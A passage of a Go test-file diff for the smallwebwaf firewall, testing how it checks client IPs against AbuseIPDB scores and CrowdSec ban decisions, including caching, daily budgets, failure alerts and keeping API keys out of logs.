+			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
+		}
+
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		// A request from each has the client checked once, by the first.
+		for _, address := range addresses {
+			hitFrom(t, checker, address, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, addresses[0])
+
+		// Its score is the whole client's.
+		for _, address := range addresses {
+			wantScore(t, checker, address, true, 100, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, addresses[0])
+	})
+}
+
+func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
+		p := abuseIPDBParams()
+		p.MinScore = 75
+		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
+
+		for client := range scores {
+			hitFrom(t, checker, client, true)
+		}
+
+		synctest.Wait()
+
+		for client, score := range scores {
+			wantScore(t, checker, client, true, score, score >= 75)
+		}
+	})
+}
+
+func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+
+		// AbuseIPDB gives another score from now on, but the one kept is
+		// used, and the client is not checked again, until the TTL has
+		// passed.
+		abuseIPDB.setScore(suspect, 80)
+		time.Sleep(cacheTTL - time.Nanosecond)
+		wantScore(t, checker, suspect, true, 100, true)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+
+		// Then it is not used, and the client is checked again.
+		time.Sleep(time.Nanosecond)
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 80, true)
+		wantChecked(t, abuseIPDB, suspect, suspect)
+	})
+}
+
+func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.DailyBudget = 3
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, p)
+
+		// At noon, the first three offenders spend the budget, and the
+		// fourth, unchecked, is not.
+		time.Sleep(12 * time.Hour)
+
+		const unchecked = "192.0.2.4"
+
+		clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked}
+		for _, client := range clients {
+			hitFrom(t, checker, client, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, clients[:3]...)
+		wantBudgetLeft(t, checker, 0)
+
+		// The check that used the budget up raised the alert, and logged it.
+		const usedUp = "the daily budget of AbuseIPDB checks is used up"
+
+		wantFailureAlert(t, queue, time.Now(), usedUp,
+			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
+
+		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
+			t.Errorf("logged\n%s\nwant the budget used up", log.String())
+		}
+
+		// Restarted with what reputation.json keeps, it uses the scores, and
+		// checks no client until the day ends.
+		restarted := &abuseIPDBStandIn{}
+		again := newAbuseIPDB(restarted, p)
+		again.Load(checker.Snapshot())
+
+		wantScore(t, again, suspect, true, 100, true)
+		wantBudgetLeft(t, again, 0)
+		time.Sleep(12*time.Hour - time.Nanosecond)
+		wantScore(t, again, unchecked, true, 0, false)
+		synctest.Wait()
+		wantChecked(t, restarted)
+
+		// At midnight the budget is whole again.
+		time.Sleep(time.Nanosecond)
+		wantBudgetLeft(t, again, 3)
+		wantScore(t, again, unchecked, true, 0, false)
+		synctest.Wait()
+		wantChecked(t, restarted, unchecked)
+		wantBudgetLeft(t, again, 2)
+	})
+}
+
+func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// key is the key sent, status and body what AbuseIPDB answers with,
+		// and error the failure.
+		key, body string
+		status    int
+		error     string
+	}{
+		{
+			"a refusal, past AbuseIPDB's own limit", key,
+			`{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`,
+			http.StatusTooManyRequests, "the server answered 429 Too Many Requests",
+		},
+		{
+			"a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0,
+			"the server answered 401 Unauthorized",
+		},
+		{
+			"a server failure", key, "", http.StatusInternalServerError,
+			"the server answered 500 Internal Server Error",
+		},
+		{
+			"an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`,
+			http.StatusOK, "the answer gives no abuseConfidenceScore",
+		},
+		{
+			"an answer that is not JSON", key, "<html>", http.StatusOK,
+			"read the answer: invalid character '<' looking for beginning of value",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				queue := newQueue()
+				p := abuseIPDBParams()
+				p.Key = tc.key
+				p.Alerts = queue
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
+				checker := newAbuseIPDB(abuseIPDB, p)
+
+				// The failure gives no score, and no client is checked within a
+				// minute of it.
+				wantScore(t, checker, suspect, true, 0, false)
+				synctest.Wait()
+				time.Sleep(time.Minute - time.Nanosecond)
+				wantScore(t, checker, other, true, 0, false)
+				synctest.Wait()
+				wantChecked(t, abuseIPDB, suspect)
+				wantFailures(t, checker, 1)
+
+				time.Sleep(time.Nanosecond)
+				wantScore(t, checker, other, true, 0, false)
+				synctest.Wait()
+				wantChecked(t, abuseIPDB, suspect, other)
+				wantFailures(t, checker, 2)
+
+				if scores := checker.Snapshot().Scores; len(scores) != 0 {
+					t.Errorf("scores %+v, want none", scores)
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
+					"checking a client with AbuseIPDB failed", tc.error, 1)
+
+				if !strings.Contains(log.String(), `"msg":"checking a client with `+
+					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+			})
+		})
+	}
+}
+
+func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.Alerts = queue
+		abuseIPDB := &abuseIPDBStandIn{hanging: true}
+		checker := newAbuseIPDB(abuseIPDB, p)
+		began := time.Now()
+
+		// The second, while the first's check is under way, starts none.
+		wantScore(t, checker, suspect, true, 0, false)
+		wantScore(t, checker, suspect, true, 0, false)
+
+		if waited := time.Since(began); waited != 0 {
+			t.Errorf("waited %s for the check, want no wait", waited)
+		}
+
+		time.Sleep(timeout - time.Nanosecond)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+		wantFailures(t, checker, 0)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantFailures(t, checker, 1)
+		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
+			"check the client: context deadline exceeded", 0)
+	})
+}
+
+func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddAbuseIPDB(checker)
+
+		// One check that AbuseIPDB answers, and one it refuses with an answer
+		// that names the key.
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 100, true)
+
+		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
+		wantScore(t, checker, other, true, 0, false)
+		synctest.Wait()
+		wantFailures(t, checker, 1)
+
+		abuseIPDB.mu.Lock()
+		sent := slices.Clone(abuseIPDB.keys)
+		abuseIPDB.mu.Unlock()
+
+		if !slices.Equal(sent, []string{key, key}) {
+			t.Errorf("checks sent the keys %v, want %s twice", sent, key)
+		}
+
+		alerted, err := json.Marshal(waiting(queue))
+		if err != nil {
+			t.Fatalf("encode the alerts: %v", err)
+		}
+
+		kept, err := json.Marshal(checker.Snapshot())
+		if err != nil {
+			t.Fatalf("encode the checks: %v", err)
+		}
+
+		for name, shown := range map[string]string{
+			"the log": log.String(), "the alerts": string(alerted),
+			"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
+		} {
+			if strings.Contains(shown, key) {
+				t.Errorf("%s shows the key:\n%s", name, shown)
+			}
+		}
+	})
+}
+
+func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{}
+		p := abuseIPDBParams()
+		p.DailyBudget = 5
+		checker := newAbuseIPDB(abuseIPDB, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddAbuseIPDB(checker)
+
+		// One check that AbuseIPDB answers, and one that fails.
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+		abuseIPDB.answerWith(http.StatusInternalServerError, "")
+		hitFrom(t, checker, other, true)
+		synctest.Wait()
+
+		scraped := scrapeMetrics(t, m)
+
+		for series, want := range map[string]string{
+			"queries_total":          "2",
+			"failures_total":         "1",
+			"daily_budget_remaining": "3",
+		} {
+			line := "\nsmallwebwaf_reputation_" + series +
+				`{instance="app",source="abuseipdb"} ` + want + "\n"
+			if !strings.Contains(scraped, line) {
+				t.Errorf("metrics\n%s\nwant%s", scraped, line)
+			}
+		}
+	})
+}
+
+func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := abuseIPDBParams()
+	p.Now = func() time.Time { return now }
+	checker := reputation.NewAbuseIPDB(p)
+
+	// The last score still in use, and one, of other's /64, fetched a TTL
+	// ago.
+	inUse := reputation.Score{
+		Client: netip.MustParsePrefix(suspect + "/32"), Score: 100,
+		Fetched: now.Add(-cacheTTL + time.Nanosecond),
+	}
+	stale := reputation.Score{
+		Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100,
+		Fetched: now.Add(-cacheTTL),
+	}
+
+	checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
+
+	wantScore(t, checker, suspect, false, 100, true)
+	wantScore(t, checker, other, false, 0, false)
+
+	got := checker.Snapshot().Scores
+	if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
+		t.Errorf("scores %+v, want only %+v", got, inUse)
+	}
+}
+
+func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := abuseIPDBParams()
+	p.Now = func() time.Time { return now }
+	checker := reputation.NewAbuseIPDB(p)
+
+	// 100,001 scores, listed by client, as reputation.json lists them, each
+	// fetched a millisecond before the one before it: the last is one too
+	// many.
+	const count = 100001
+
+	scores := make([]reputation.Score, 0, count)
+
+	addr := netip.MustParseAddr("198.18.0.0")
+	for i := range count {
+		scores = append(scores, reputation.Score{
+			Client:  netip.PrefixFrom(addr, 32),
+			Fetched: now.Add(-time.Duration(i) * time.Millisecond),
+		})
+		addr = addr.Next()
+	}
+
+	checker.Load(reputation.Checks{Scores: scores})
+
+	got := checker.Snapshot().Scores
+	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
+		slices.Contains(got, scores[count-1]) {
+		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
+	}
+}
+
+// abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent
+// with key by the client's score, as scores gives it, 0 for a client it
+// does not give; a check sent with another key with 401; and, while
+// status is not 0, every check with status and body; and while hanging,
+// none at all. It notes each client checked, and the key sent.
+type abuseIPDBStandIn struct {
+	mu      sync.Mutex
+	scores  map[string]int64
+	status  int
+	body    string
+	hanging bool
+	checked []string
+	keys    []string
+}
+
+// RoundTrip has the stand-in answer req, in place of the network. A check
+// abandoned before the stand-in answers fails, as over the network.
+func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
+	client := req.URL.Query().Get("ipAddress")
+	sent := req.Header.Get("Key")
+
+	s.mu.Lock()
+	s.checked = append(s.checked, client)
+	s.keys = append(s.keys, sent)
+	score := s.scores[client]
+	status, body, hanging := s.status, s.body, s.hanging
+	s.mu.Unlock()
+
+	switch {
+	case hanging:
+		<-req.Context().Done()
+
+		return nil, req.Context().Err()
+	case sent != key:
+		status = http.StatusUnauthorized
+	case status == 0:
+		status = http.StatusOK
+		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
+			score)
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     http.Header{},
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Request:    req,
+	}, nil
+}
+
+// setScore has the stand-in give client score.
+func (s *abuseIPDBStandIn) setScore(client string, score int64) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.scores[client] = score
+}
+
+// answerWith has the stand-in answer every check with status and body.
+func (s *abuseIPDBStandIn) answerWith(status int, body string) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.status, s.body = status, body
+}
+
+// abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum
+// score of 75, a daily budget of 900, and the cache TTL and timeout of the
+// DNSBL tests, by the bubble's clock, with alerts to a queue that sends
+// none.
+func abuseIPDBParams() reputation.AbuseIPDBParams {
+	return reputation.AbuseIPDBParams{
+		URL:         "https://abuseipdb.example/api/v2/check",
+		Key:         key,
+		MinScore:    75,
+		DailyBudget: 900,
+		CacheTTL:    cacheTTL,
+		Timeout:     timeout,
+		Now:         time.Now,
+		ProcessLog:  slog.New(slog.DiscardHandler),
+		Alerts:      newQueue(),
+	}
+}
+
+// newAbuseIPDB returns the AbuseIPDB of p, checking clients with
+// abuseIPDB.
+func newAbuseIPDB(
+	abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams,
+) *reputation.AbuseIPDB {
+	checker := reputation.NewAbuseIPDB(p)
+	checker.SetTransport(abuseIPDB)
+
+	return checker
+}
+
+// wantScore checks the score checker gives client, and whether it is a
+// hit, as a request from client finds them, offender or not.
+func wantScore(
+	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
+	score int64, hit bool,
+) {
+	t.Helper()
+
+	gotScore, gotHit := hitFrom(t, checker, client, offender)
+	if gotScore != score || gotHit != hit {
+		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
+			score, hit)
+	}
+}
+
+// hitFrom is checker's Hit for a request from address, offender or not.
+// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
+// as smallwebwaf counts clients.
+func hitFrom(
+	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
+) (int64, bool) {
+	t.Helper()
+
+	addr := netip.MustParseAddr(address)
+
+	client := netip.PrefixFrom(addr, addr.BitLen())
+	if addr.Is6() {
+		client = netip.PrefixFrom(addr, 64).Masked()
+	}
+
+	return checker.Hit(t.Context(), client, addr, offender)
+}
+
+// wantChecked checks the clients the stand-in was asked about, in any
+// order.
+func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) {
+	t.Helper()
+
+	abuseIPDB.mu.Lock()
+	got := slices.Sorted(slices.Values(abuseIPDB.checked))
+	abuseIPDB.mu.Unlock()
+
+	want = slices.Sorted(slices.Values(want))
+
+	if !slices.Equal(got, want) {
+		t.Errorf("checked %v, want %v", got, want)
+	}
+}
+
+// wantFailures checks how many checks failed.
+func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
+	t.Helper()
+
+	if got := checker.Failures(); got != want {
+		t.Errorf("%d checks failed, want %d", got, want)
+	}
+}
+
+// wantFailureAlert checks that the one alert waiting in queue is a
+// source_failure alert from AbuseIPDB, raised at raised, with reason and
+// the error failure, and that the cooldown has held back held repeats of
+// it.
+func wantFailureAlert(
+	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
+	held int64,
+) {
+	t.Helper()
+
+	got := waiting(queue)
+	if len(got) != 1 || !got[0].Time.Equal(raised) ||
+		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
+		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
+		got[0].Detail["error"] != failure || queue.Suppressed() != held {
+		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+			"and %d", got, queue.Suppressed(), reason, failure, held)
+	}
+}
+
+// wantBudgetLeft checks how many checks the day's budget has left.
+func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) {
+	t.Helper()
+
+	if got := checker.BudgetLeft(); got != want {
+		t.Errorf("%d checks left, want %d", got, want)
+	}
+}
+
+// scrapeMetrics returns the metrics m serves.
+func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
+	t.Helper()
+
+	scraped := httptest.NewRecorder()
+	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
+		http.NoBody))
+
+	return scraped.Body.String()
+}

internal/reputation/crowdsec_test.go

@@ -0,0 +1,513 @@
+package reputation_test
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests run in a synctest bubble, as those of the blocklists do, and
+// fetch the decision list from engine, a stand-in for a CrowdSec engine
+// that answers without the network.
+
+const (
+	// decisionsURL is the decision list of the tests' engine, and engineKey
+	// the key it answers.
+	decisionsURL = "http://crowdsec.example:8080/v1/decisions"
+	engineKey    = "crowdsec-key-0123456789abcdef"
+	// sshBF and probing are scenarios of the engine's decisions.
+	sshBF   = "crowdsecurity/ssh-bf"
+	probing = "crowdsecurity/http-probing"
+	// ban is the type of a decision to ban, and rangeScope the scope of a
+	// decision on a netblock, as CrowdSec names them.
+	ban        = "ban"
+	rangeScope = "Range"
+)
+
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		manual := "manual 'ban' from 'localhost'"
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
+			// A shorter decision on the same address, which is not the one
+			// used.
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
+			// Left out: a decision to show a captcha, and one on a country.
+			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
+			{"Country", "KP", ban, manual, began.Add(time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		for addr, want := range map[string]reputation.Decision{
+			suspect:          {Expires: began.Add(6 * time.Hour), Scenario: manual},
+			"198.51.100.0":   {Expires: began.Add(time.Hour), Scenario: probing},
+			"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
+			"2001:db8::1":    {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
+			"203.0.113.10":   {},
+			"198.51.101.0":   {},
+			"2001:db8::2":    {},
+			"192.0.2.50":     {},
+		} {
+			wantDecision(t, lists, addr, want)
+		}
+
+		// With the engine down, the copy kept still holds the decision on
+		// 198.51.100.0/24, which no longer bans once it has ended.
+		e.set(func(e *engine) { e.failing = true })
+		time.Sleep(time.Hour - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, lists, "198.51.100.7",
+			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
+		wantDecision(t, lists, suspect,
+			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
+	})
+}
+
+func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+		wantEngineFetches(t, e, 1)
+
+		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
+
+		e.set(func(e *engine) {
+			e.decisions = append(e.decisions,
+				decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
+		})
+
+		time.Sleep(time.Minute - time.Nanosecond)
+		wantEngineFetches(t, e, 1)
+		wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
+
+		time.Sleep(time.Nanosecond)
+		wantEngineFetches(t, e, 2)
+		wantDecision(t, lists, "203.0.113.10", added)
+	})
+}
+
+func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			// Two decisions on one address, the shorter listed first.
+			{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
+			{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
+			// 198.51.100.130 is held by a decision on its address that ends
+			// after the one on its netblock, and 192.0.2.20 by one that ends
+			// before.
+			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
+			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
+			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
+			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		wantDecision(t, lists, suspect,
+			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
+		wantDecision(t, lists, "198.51.100.130",
+			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
+		wantDecision(t, lists, "192.0.2.20",
+			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
+	})
+}
+
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		// With its decision deleted, the engine answers null.
+		e.set(func(e *engine) { e.decisions = nil })
+		time.Sleep(time.Minute)
+		wantEngineFetches(t, e, 2)
+
+		want := []reputation.List{{
+			URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
+		}}
+		if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
+			t.Errorf("lists %+v, want %+v", got, want)
+		}
+
+		if lists.Failures(decisionsURL) != 0 {
+			t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
+		}
+
+		wantDecision(t, lists, suspect, reputation.Decision{})
+	})
+}
+
+func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	for _, tc := range crowdSecFailures() {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				began := time.Now()
+				e := &engine{key: engineKey, decisions: []decision{
+					{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+				}}
+				queue := newQueue()
+				p := crowdSecParams()
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				p.Alerts = queue
+				lists := start(t, e, p)
+				kept := lists.Snapshot()
+
+				e.set(tc.fail)
+
+				// Each failure is tried again a minute after it.
+				for range 2 {
+					time.Sleep(time.Minute)
+					synctest.Wait()
+				}
+
+				wantEngineFetches(t, e, 3)
+				wantDecision(t, lists, suspect,
+					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
+
+				want := kept[0]
+				want.Tried = time.Now()
+
+				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				}
+
+				if lists.Failures(decisionsURL) != 2 {
+					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				wantAlert(t, queue,
+					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
+
+				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
+					`"url":"`+decisionsURL+`","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+
+				wantKeyNotShown(t, e, log.String(), lists, queue)
+			})
+		})
+	}
+}
+
+// crowdSecFailure is a way for the engine to fail: fail has it answer the
+// fetches after the first so that they fail with error.
+type crowdSecFailure struct {
+	name  string
+	fail  func(e *engine)
+	error string
+}
+
+// crowdSecFailures returns the ways the engine can fail.
+func crowdSecFailures() []crowdSecFailure {
+	const notDecision = " does not give an address or a netblock and a duration, " +
+		"such as 4h0m0s"
+
+	return []crowdSecFailure{
+		{
+			"an answer other than 200",
+			func(e *engine) { e.failing = true },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a key the engine refuses",
+			func(e *engine) { e.key = "another-key-0123456789abcdef" },
+			"the server answered 403 Forbidden",
+		},
+		{
+			"a redirect",
+			func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
+			"the server answered 302 Found",
+		},
+		{
+			"an answer that does not read",
+			func(e *engine) { e.answer = "<html>" },
+			"read the answer: invalid character '<' looking for beginning of value",
+		},
+		{
+			"a decision to ban whose value does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
+					`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
+			},
+			"decision 1" + notDecision,
+		},
+		{
+			"a decision to ban whose duration does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
+					`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
+					`"type": "ban", "value": "198.51.100.0/24"}]`
+			},
+			"decision 2" + notDecision,
+		},
+	}
+}
+
+// wantKeyNotShown checks that no fetch carried the engine's key to a URL
+// other than its decision list, such as the one a redirect names, and that
+// the key is in none of what the fetches leave behind: log, the process
+// log, the alerts waiting in queue, and the copies of lists, which
+// reputation.json keeps.
+func wantKeyNotShown(
+	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
+) {
+	t.Helper()
+
+	e.mu.Lock()
+	keySentTo := e.keySentTo
+	e.mu.Unlock()
+
+	if len(keySentTo) != 0 {
+		t.Errorf("the key was sent to %v", keySentTo)
+	}
+
+	shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+
+	if strings.Contains(log+string(shown), engineKey) {
+		t.Errorf("the key is shown in\n%s\n%s", log, shown)
+	}
+}
+
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+		kept := lists.Snapshot()
+
+		// Restarted half an hour later with what reputation.json keeps, and
+		// the engine down, the decision still bans, until the end it had at
+		// the fetch, half an hour on.
+		time.Sleep(30 * time.Minute)
+
+		down := &engine{key: engineKey, failing: true}
+		again := reputation.New(crowdSecParams())
+		again.SetTransport(down)
+
+		err := again.Load(kept)
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, again)
+
+		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(30*time.Minute - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", reputation.Decision{})
+	})
+}
+
+func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
